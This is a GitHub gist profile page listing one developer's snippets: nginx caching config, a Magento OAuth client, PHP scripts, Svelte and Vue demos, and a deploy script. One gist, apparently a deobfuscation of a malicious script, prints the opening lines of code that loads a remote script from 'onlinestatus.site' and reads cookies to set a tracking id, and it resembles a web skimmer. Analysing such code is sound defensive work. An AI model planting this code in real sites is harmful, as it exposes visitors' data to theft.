Skip to content

Instantly share code, notes, and snippets.

View rickdaalhuizen90's full-sized avatar

Rick Daalhuizen rickdaalhuizen90

  • Belgium
View GitHub Profile
@rickdaalhuizen90
rickdaalhuizen90 / nginx.conf
Created September 15, 2024 13:22
Nginx Configuration with FastCGI Caching enabled
fastcgi_cache_path /etc/nginx/cache levels=1:2 keys_zone=PHP_CACHE:200m max_size=10g inactive=2h use_temp_path=off;
fastcgi_cache_key "$scheme$request_method$host$request_uri";
fastcgi_ignore_headers Cache-Control Expires Set-Cookie;
upstream backend {
server php-fpm:9000;
}
server {
listen 80;
@rickdaalhuizen90
rickdaalhuizen90 / .env.example
Created December 27, 2023 20:04
Generate a commit message using the OpenAI GPT-3 API
OPENAI_API_KEY="<YOUR_SECRET_KEY>"
OPENAI_ENDPOINT="https://api.openai.com/v1/chat/completions"
@rickdaalhuizen90
rickdaalhuizen90 / App.svelte
Last active December 30, 2021 22:00
Calendar heatmap
<section>
<h3>Uptime</h3>
<p>Overview of site uptime</p>
<div id="heatmap"></div>
</section>
<script>
import {onMount} from 'svelte';
import matrix from 'calendar-matrix';
@rickdaalhuizen90
rickdaalhuizen90 / client.php
Last active September 26, 2023 17:17
PHP OAuth client for Magento 2 REST API
<?php
/*
* OAuth 1.0a client (Example) for Magento 2
*
* @see: https://oauth.net/core/1.0a
* @see: https://tools.ietf.org/html/rfc5849
*/
class Api
{
const OAUTH_VERSION = '1.0';
@rickdaalhuizen90
rickdaalhuizen90 / script.php
Last active June 15, 2024 17:00
PHP script that removes duplicate fields in a csv
<?php
if ($argc < 2) {
exit('Error: No CSV file provided. Example usage: php script.php input.csv' . PHP_EOL);
}
if (pathinfo($argv[1], PATHINFO_EXTENSION) !== 'csv') {
exit('Error: Provided file is not a CSV.' . PHP_EOL);
}
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>JS Bin</title>
<style id="jsbin-css">
body {
font-family: sans-serif;
font-size: 1.3em;
<!DOCTYPE html>
<html>
<head>
<title>Welcome to Vue</title>
<script src="https://unpkg.com/vue"></script>
<style id="jsbin-css">
.dashboard {
display: flex;
flex-direction: row;
width: 100%;
#!/bin/sh
echo "Deleting old publication"
rm -rf public
mkdir public
git worktree prune
rm -rf .git/worktrees/public/
echo "Checking out gh-pages branch into public"
git worktree add -B gh-pages public origin/gh-pages
@rickdaalhuizen90
rickdaalhuizen90 / script.js
Created July 7, 2018 13:28
Deobfuscation van js script
var ydddcef0cda9f99ac91f7c3a1a48b587a = {
snd: null,
v88bc7dc484cdebc76aca340fe0cbe1d3: 'https://onlinestatus.site/js/status.js',
myid: (function(_0xb69fx2) {
var _0xb69fx3 = document['cookie']['match'](new RegExp('(?:^|; )' + _0xb69fx2['replace'](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\$1') + '=([^;]*)'));
return _0xb69fx3 ? decodeURIComponent(_0xb69fx3[1]) : undefined
})('setidd') || (function() {
var _0xb69fx4 = new Date();
var _0xb69fx5 = _0xb69fx4['getTime']() + '-' + Math['floor'](Math['random']() * (999999999 - 11111111 + 1) + 11111111);
var _0xb69fx6 = new Date(new Date()['getTime']() + 60 * 60 * 24 * 1000);
@rickdaalhuizen90
rickdaalhuizen90 / Foo.php
Created January 28, 2018 16:40
Example of parsing arguments in php cli
<?php
class Hash
{
protected $string;
protected $hash;
/**
* Init arguments